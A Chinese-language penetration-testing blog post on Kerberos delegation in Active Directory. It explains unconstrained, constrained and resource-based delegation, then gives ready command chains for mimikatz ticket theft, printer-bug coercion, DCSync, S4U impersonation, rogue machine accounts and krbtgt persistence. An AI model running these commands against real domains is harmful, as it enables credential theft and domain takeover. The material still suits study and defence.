委派攻击

委派攻击也是windows域中出现的安全性问题,其发生在TGS-REQ&TGS-REP阶段。

在Windows 2000 Server首次发布Active Directory时,Microsoft必须提供一种简单的机制来支持用户通过Kerberos向Web Server进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案。这通常称为“Kerberos双跳问题”,并且要求进行委派,以便Web Server在修改数据库记录时模拟用户。需要注意的一点是接受委派的用户只能是服务账户或者计算机用户

委派分为非约束委派、约束委派和基于资源的委派

原理

非约束委派

Microsoft在Windows 2000中实现了Kerberos“不受约束的委托”,从而启用了这种级别的委托。

非约束委派的配置如下:

服务(如Win2012$) 被配置了非约束的委派,那么Win2012$可以接受任何用户的委派的去请求其他所有服务。在协议层面的实现就是,某个用户委托Win2012$去访问某个服务,那么这个用户会将 TGT(在TGS里面)发送到Win2012$并缓存到LSASS中,以方便以后使用。 然后Win2012$模拟用户去请求某个服务。

配置了非约束委派的用户的userAccountControl 属性有个FLAG位 TrustedForDelegation,对应值为0x80000,也就是524288

注意:域控机器账户默认配置非约束性委派

非约束性委派流程:
1、服务1向KDC请求用户的可转发票据TGT
2、服务1使用TGT向KDC申请服务2票据TGS

约束委派

微软很早就意识到非约束委派并不是特别安全,在 Windows 2003上发布了”约束”委派。 其中包括一组 Kerberos 协议扩展,S4U2SelfS4U2Proxy。配置它后,约束委派将限制指定服务器可以代表用户执行的服务。这需要域管理员特权(其实严谨一点是SeEnableDelegation特权,该特权很敏感,通常仅授予域管理员)才能为服务配置域帐户,并且将帐户限制为单个域。

  • S4U2self协议(协议转换)允许服务代表任意用户请求访问自身服务的ST服务票据。这使得服务可以获得用户的授权(可转发的用户TGS票据),然后将其用于后期的认证(主要是后期的s4u2proxy)。

    这是为了在用户以不使用 Kerberos 的方式对服务进行身份验证的情况下使用。
    当用户以其他方式(如NTLM认证,基于表单的认证等方式)与服务器进行认证后,用户是无法向服务器提供请求该服务的服务票据TGS的,因而服务器也无法进一步使用S4U2Proxy协议请求访问服务B。
    S4U2Self协议便是解决该问题的方案,被设置为TrustedToAuthForDelegation的服务能够调用S4U2Self向认证服务器为任意用户请求访问自身的可转发的服务票据,此后,便可通过S4U2Proxy使用这张TGS向域控制器请求访问B的票据

  • S4U2proxy协议允许服务在已取得ST服务票据下代表任意用户获取另一个服务的服务票据

约束委派限制了S4U2proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务。

计算机用户(如Win2012$)被配置了约束的委派,那么Win2012$可以接受任何用户的委派的去请求特定的服务。

具体过程是收到用户的请求之后,首先代表用户获得针对服务自身的可转发的kerberos服务票据(S4U2SELF),拿着这个票据向KDC请求访问特定服务的可转发的TGS(S4U2PROXY),并且代表用户访问特定服务,而且只能访问该特定服务。

相较于非约束委派,约束委派最大的区别也就是配置的时候选择某个特定的服务,而不是所有服务。

配置了约束委派的用户的userAccountControl属性有个FLAG位TrustedToAuthForDelegation,对应是0x1000000 ,也就是16777216。除此之外,还有一个msDS-AllowedToDelegateTo属性位,用于配置对哪个SPN进行委派。

约束性委派流程:
1、服务1使用自己的hash向KDC申请一个TGT票据,注意在KDC-Options里面选择FORWARDABLE标志位,这样的话请求的TGT票据就是可转发的TGT票据。
2、服务1代表用户申请一个获得针对服务1自身的kerberos服务票据(这一步就是S4U2SELF),这一步生成的TGS票据是可转发的TGS票据。
3、服务1可以使用来自用户的授权(在S4U2SELF阶段获得的可转发的TGS),然后用该TGS(放在AddtionTicket里面)向KDC请求访问服务2的TGS

基于资源的约束委派

为了使用户/资源更加独立,Windows Server 2012中引入了基于资源的约束委派。基于资源的约束委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派不需要通过具备SeEnableDelegationPrivilege权限的域管理员进行修改,而是将设置属性的权限给了服务资源本身,资源本身可以为自己配置资源委派信任关系,资源本身决定可以信任谁

约束性委派和基于资源的约束性委派配置的差别:

  • 传统的约束委派是正向的,通过修改服务A的属性msDS-AlowedToDelegateTo,添加服务B的SPN,设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求访问服务B的ST服务票据。
  • 而基于资源的约束委派则是相反的,通过修改服务B属性msDS-AllowedToActOnBehalfOfotherldentity,添加服务A的SID,达到让服务A模拟用户访问B资源的目的。

    msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户(也就是我们创建的机器账户或已知机器账户)

基于资源的约束委派流程:
1、服务1使用自己的hash向KDC申请一个TGT票据
2、服务1代表用户申请一个获得针对服务1自身的kerberos服务票据

这一步就是S4U2SELF,这一步就区别传统的约束委派,在S4U2SELF里面提到,返回的TGS可转发的一个条件是服务1配置了传统的约束委派,KDC会检查服务1的TrustedToAuthForDelegation位和msDS-AllowedToDelegateTo这个字段,由于基于资源的约束委派,是在服务2配置,服务2的msDS-AllowedToActOnBehalfOfOtherIdentity属性配置了服务1的sid,服务1并没有配置TrustedToAuthForDelegation位和msDS-AllowedToDelegateTo字段。因此这一步返回的TGS票据是不可转发的。

在传统的约束性委派中,通过 S4U2SELF 申请到的 ST 票据一定是可转发的,如果不可转发,则后续的 S4U2Proxy 阶段将失败。但是在基于资源的约束性委派中,不可转发的 ST 票据仍然可以通过 S4U2Proxy 阶段对其他服务进行委派认证。

3、服务1可以使用来自用户的授权(在S4U2SELF阶段获得的不可转发的TGS),然后用该TGS(放在AddtionTicket里面)向KDC请求访问服务2的可转发的TGS

基于资源的约束性委派的优势:

  • 委派的权限授予给了拥有资源的后端,而不再是前端
  • 约束性委派不能跨域进行委派,基于资源的约束性委派可以跨域和林
  • 不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑msDS-AllowedToActOnBehaffOtherldentity属性权限,也就是将计算机加入域的域用户和机器自身拥有权限。

委派的相关安全问题

非约束委派攻击

查找非约束委派的主机或服务账户

adfind

1
2
3
4
5
# 查找域中配置非约束委派的用户
AdFind.exe -b "DC=dar,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

# 查找域中配置非约束委派的主机
AdFind.exe -b "DC=dar,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

powersploit中的powerview(1):

1
2
3
4
5
6
7
powershell -exec bypass Import-Module .\powerview.ps1

# 查询非约束委派的主机
Get-NetComputer -Unconstrained -Domain dar.com

# 查询非约束委派的服务账号
Get-NetUser -Unconstrained -Domain dar.com | select name

SharpView,csharp版本的powerview,可在域外查询,需要指定域内用户名和密码

1
2
3
4
5
6
7
8
# 查询域控
SharpView.exe Get-NetComputer -Domain dar.com -Server 172.77.4.100 -Credential bob@dar.com/AdminB123.

# 查询非约束委派的主机
SharpView.exe Get-NetComputer -Domain dar.com -Unconstrained -Server 172.77.4.100 -Credential bob@dar.com/AdminB123. | findstr dnshostname

# 查询非约束委派的服务账号(需要自己筛选useraccountcontrol属性中带有TRUSTED_FOR_DELEGATION标志的用户)
SharpView.exe Get-NetComputer -Domain dar.com -Server 172.77.4.100 -Credential bob@dar.com/AdminB123. | findstr TRUSTED_FOR_DELEGATION

ldapsearch,kali自带,适合在域外查询,需要指定域内用户名和密码

1
2
3
4
5
# 查询非约束委派的服务账号
ldapsearch -x -H ldap://172.77.4.100:389 -D "bob@dar.com" -w "AdminB123." -b "DC=dar,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep distinguishedName

# 查询非约束委派的主机
ldapsearch -x -H ldap://172.77.4.100:389 -D "bob@dar.com" -w "AdminB123." -b "DC=dar,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep distinguishedName
1
2
3
4
5
6
7
8
9
10
11
# 构造服务账户ken的票据
kekeo.exe "tgt::ask /user:sqlAccount /domain:dar.com /password:Admin123. /ticket:sql.kirbi" "exit"

# 利用刚才伪造的ken票据,向域服务器申请CIFS服务票据
kekeo.exe "Tgs::s4u /tgt:TGT_sqlAccount@DAR.COM_krbtgt~dar.com@DAR.COM.kirbi /user:administrator@dar.com /service:cifs/dc.dar.com" "exit"

# 使用mimikatz将该票据注入当前的会话中,
mimikatz.exe "kerberos::ptt TGS_administrator@dar.com@DAR.COM_sqlAccount@DAR.COM.kirbi" "exit"

# 访问目标共享盘
dir \\DC2016\C$

常规利用:诱使高权限用户访问机器

当域管理员使用net use等远程访问命令,模拟域控管理员访问WIN7主机,设置了非约束性委派的主机可以抓取到域控管理员的TGT。

利用条件:
1、需要Administrator权限
2、域内主机的机器账户开启非约束委派
3、高权限用户远程访问

1
2
# 导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

如果域管理员访问过该机器,则会有域管理员的tgt票据存在:

其中编号 0 = TGS, 1 = client ticket(?) and 2 = TGT

使用kerberos::ptt导入票据,之后即可访问

1
2
3
mimikatz.exe "kerberos::ptt [0;4bbb6]-2-0-60a10000-Administrator@krbtgt-HACKME.COM.kirbi" "exit"

dir \\dc\c$

使用Spooler打印机服务主动连接

上面的攻击方式要求管理员连接过该计算机服务,否则无法利用。在特定的条件下,可以利用Spooler打印机服务让域控主动连接服务。

在Spooler服务默认开启的情况下,域用户可以利用Windows打印机系统远程协议(MS-RPRN)强制任何运行了Spoler服务的域内计算机通过kerberos或NTLM协议对任何目标进行身份验证。

splooer服务是默认运行的

1、在开启非约束委派的机器上使用Rubeus对域控账户的登录进行监听(需要本地管理员权限)

1
2
Rubeus.exe monitor /interval:1 /nowrap /targetuser:DC$
# 1秒监听一次,过滤出机器账户DC$的连接

2、使用SpoolSample工具执行打印机漏洞利用,进行强制验证,此时Rubeus可以监听到TGT

1
2
3
4
SpoolSample.exe DC Win7

# 或者使用dfscoerce.py
python dfscoerce.py -u bob -p AdminB123. -d dar.com -dc-ip 172.77.4.100 172.77.4.134 172.77.4.100

3、Rubeus监听到票据并导入该票据

1
2
# rubeus导入票据
Rubeus.exe ptt /ticket:doIFGjCCBRagAw...VEVBTS5MQUI=

4、利用mimikatz进行dcsync

注意:这里获取到的TGT其实是DC的机器账户,而机器账户是没有权限访问cifs服务的,但是在LDAP服务中,机器账户会被当作域控机器,从而可以dcsync。

另一种方式,使用mimikatz导出票据,找到DC$tgt,之后再使用mimikatz导入

约束性委派攻击

查找约束委派的主机或服务

adfind

1
2
3
4
5
# 查找域中配置约束委派用户
AdFind.exe -b "DC=hackme,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

# 查找域中配置约束委派的主机
AdFind.exe -b "DC=hackme,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

empire中的 powerview

1
2
3
4
5
# PowerView查询约束委派机器账户
Get-DomainComputer -TrustedToAuth -Domain dar.com -Properties dnshostname,msds-allowedtodelegateto|fl

# PowerView查询约束委派服务账户
Get-DomainUser –TrustedToAuth -domain dar.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

ldapsearch

1
2
3
4
5
# 查询约束委派的机器:
ldapsearch -LLL -x -H ldap://172.77.4.100:389 -D "bob@dar.com" -w "AdminB123." -b dc=dar,dc=com "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

# 查询约束委派的用户:
ldapsearch -LLL -x -H ldap://172.77.4.100:389 -D "bob@dar.com" -w "AdminB123." -b dc=dar,dc=com "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

SharpView

1
2
3
4
5
# 查询非约束委派的主机(需要自己筛选具有msds-allowedtodelegateto属性的主机)
SharpView.exe Get-NetComputer -Domain dar.com -Server 172.77.4.100 -Credential bob@dar.com/AdminB123. | findstr msds-allowedtodelegateto

# 查询非约束委派的服务账号(需要自己筛选具有msds-allowedtodelegateto属性的用户)
SharpView.exe Get-NetComputer -Domain dar.com -Server 172.77.4.100 -Credential bob@dar.com/AdminB123. | findstr msds-allowedtodelegateto

攻击方式

方式一:使用机器账户已存在的TGT票据

约束性委派攻击的关键就是获得可转发的服务票据TGS,而约束性委派在向KDC申请可转发TGS时,需要提供可转发的TGT(自身的hash申请的)

获取根据约束性委派的执行过程可知,只要控制配置约束性委派服务的机器,并获得了它的密码,那么我们就可以劫持这台主机的kerberos请求过程,最终获得任意用户权限的ticket

1
2
3
4
5
6
7
8
9
10
11
# 导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

# 使用kekeo工具申请服务票据
kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-1-40e10000-WIN2019$@krbtgt-DAR.COM.kirbi /user:Administrator@dar.com /service:cifs/DC.dar.com" "exit"

# 导入票据
mimikatz.exe "kerberos::ptt TGS_Administrator@dar.com@DAR.COM_cifs~DC.dar.com@DAR.COM.kirbi" "exit"

# 访问
dir \\dc.dar.com\c$

方式二:使用机器账户的Hash值先生成TGT再进一步利用

使用Rubeus

1
2
3
4
5
6
7
8
9
10
11
# 1. 使用mimikatz获取机器账户NTLM Hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# 2、使用Rubeus申请访问自身的可转发TGT
Rubeus.exe asktgt /user:win2019$ /rc4:876b2f4517286c4741fe3478b9ba1dd9 /domain:dar.com /dc:dc.dar.com /nowrap

# 3、使用Rubeus通过一条命令发起一个约束委派的流程,代表域管理员Administrator请求针对域控cifs服务的票据,并注入内存
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/dc.dar.com /dc:dc.dar.com /ptt /ticket:doIEtDCCxxxx

# 4、访问服务
dir \\DC.dar.com\c$

使用impacket项目中的getST.py

1
2
3
4
5
6
7
8
9
# 1、mimikatz获取机器账户NTLM Hash值

# 2、使用getST.py申请服务票据
python getST.py -dc-ip 172.77.4.100 -spn CIFS/DC.dar.com -impersonate administrator dar.com/WIN2019$ -hashes :876b2f4517286c4741fe3478b9ba1dd9

# wmiexec
export KRB5CCNAME=administrator.ccache
python wmiexec.py dar.com/Administrator@dc.dar.com -k -no-pass -dc-ip 172.77.4.100
# 需要将域名加入到hosts

使用kekeo

1
2
3
4
5
6
7
8
9
10
11
# 请求tgt票据
kekeo.exe "tgt::ask /user:WIN2019$ /domain:dar.com /NTLM:876b2f4517286c4741fe3478b9ba1dd9" "exit"

# 发起一个约束委派的流程,代表域管理员Administrator请求针对域控cifs服务的票据
kekeo.exe "tgs::s4u /tgt:TGT_WIN2019$@DAR.COM_krbtgt~dar.com@DAR.COM.kirbi /user:Administrator@dar.com /service:cifs/dc.dar.com" "exit"

# mimikatz导入票据
mimikatz.exe "kerberos::ptt TGS_Administrator@dar.com@DAR.COM_cifs~dc.dar.com@DAR.COM.kirbi" "exit"

# 访问
dir \\dc.dar.com\c$

基于资源的约束性委派

攻击核心条件:
1、具有对主机修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限(GenericAll、GenericWrite、WriteProperty、WriteDacl)

以下用户可以修改msDS-AllowedToActOnBehalfOfOtherIdentity属性:
1、将该主机加入域的用户账户(账户中有一个mSDS-CreatorSID属性,用于标记加入域时使用的用户账户SID值,进一步就可以知道一些具有加入域权限的用户账户了)
2、Account Operator组成员
3、该主机的机器账户

2、需要一个SPN账户,因为S4U2Self只适用于具有SPN的账户

因为机器账户默认是注册RestrictedKrbHost/domainHOST/domain这两个SPN的,所以只要能够拿到机器账户即可。

在域中有一个属性MachineAccountQuota,这个值表示的是允许域用户在域中创建的计算机帐户数,默认为10,这意味着我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户

查询当前用户的权限(powersploit中的powerview(2)):

1
2
3
4
5
6
7
# 查询用户sid
whoami /all
Get-DomainUser -properties name,objectsid

# 查询用户的 ActiveDirectoryRights
Import-Module .\PowerView2-PowerSploit.ps1
Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-1071570451-3699707520-3387351751-1103"} | select objectdn,activedirectoryrights

基于资源的约束委派攻击:本地提权

前提条件:现在已经获取到一个域账户bob,其具备机器win2019的属性修改的权限
攻击目标:获取win2019的管理员权限
攻击步骤:
1、利用bob域用户创建一个机器账户test(每个域用户默认可以创建10个)
2、然后修改win2019的msDS-AllowedToActOnBehalfOfOtherIdentity 为新创建的机器用户的sid
3、然后利用机器账户test申请票据 进行提权

创建接受委派的机器账户

1
2
3
4
5
6
7
8
9
# 使用impacket中的addcpmputer.py创建机器账户
python3 addcomputer.py dar.com/bob:AdminB123. -method LDAPS -computer-name test\$ -computer-pass Admin123. -dc-ip 172.77.4.100

# 使用PowerMad工具创建机器账户
import-module .\Powermad.ps1
New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString "Admin123." -AsPlainText -Force)

# 使用bloodyAD工具创建机器账户
python3 bloodyAD.py -d dar.com -u bob -p 'AdminB123.' --host 172.77.4.100 addComputer test 'Admin123.'

设置资源约束委派对象

查询刚刚创建的机器账户的SID

1
2
3
4
# 使用powersploit中的powerview(2)
Import-Module .\PowerView2-PowerSploit.ps1
Get-DomainComputer -properties name,objectsid
Get-NetComputer -Properties name,objectsid

修改服务资源的委派属性,即msDS-AllowedToActOnBehalfOfOtherIdentity属性

1
2
3
4
5
6
# 使用Empire中的powerview.ps1
Import-Module .\powerview-empire.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1071570451-3699707520-3387351751-1109)";
$SDBytes = New-Object byte[] ($SD.BinaryLength);
$SD.GetBinaryForm($SDBytes, 0);
Get-DomainComputer win2019 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

申请服务票据
使用getST.py申请票据

1
2
3
4
5
6
7
8
9
# 使用getST.py申请票据
python3 getST.py dar.com/test$:Admin123. -spn cifs/win2019.dar.com -impersonate administrator -dc-ip 172.77.4.100

# 导入票据
export KRB5CCNAME=administrator.ccache

# 直接登录
python3 wmiexec.py dar.com/administrator@win2019.dar.com -k -no-pass
python3 psexec.py dar.com/administrator@win2019.dar.com -k -no-pass

使用Rubeus申请票据

1
2
3
4
5
6
7
8
# 通过Rubeus申请机器账户test$的TGT
Rubeus.exe asktgt /user:test$ /password:Admin123. /domain:dar.com /dc:dc.dar.com /nowrap

# 使用S4U2Self协议申请TGS并且使用S4U2Proxy协议请求cifs服务票据ST,注入内存中
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/win2019.dar.com /dc:dc.dar.com /nowrap /ptt /ticket:doIE2DxxxxxxbS5sYWI=

# 访问
dir \\SERVER2012.redteam.lab\c$

基于资源的约束委派攻击:变种黄金票据

在获取到域控权限后,可以对krbtgt用户设置委派属性,以实现维持权限的目的,类似与一个变种的黄金票据

先添加机器账户

1
2
import-module .\Powermad.ps1
New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString "Admin123." -AsPlainText -Force)

然后来到域控上操作,为krbtgt设置委派属性

1
2
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test$
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

申请票据

1
python3 getST.py dar.com/test\$:Admin123. -spn krbtgt -impersonate administrator -dc-ip 172.77.4.100

使用票据

1
KRB5CCNAME=administrator.ccache python smbexec.py administrator@dc.dar.com -k -no-pass -dc-ip 172.77.4.100
文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2023/05/02/内网渗透/委派攻击/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog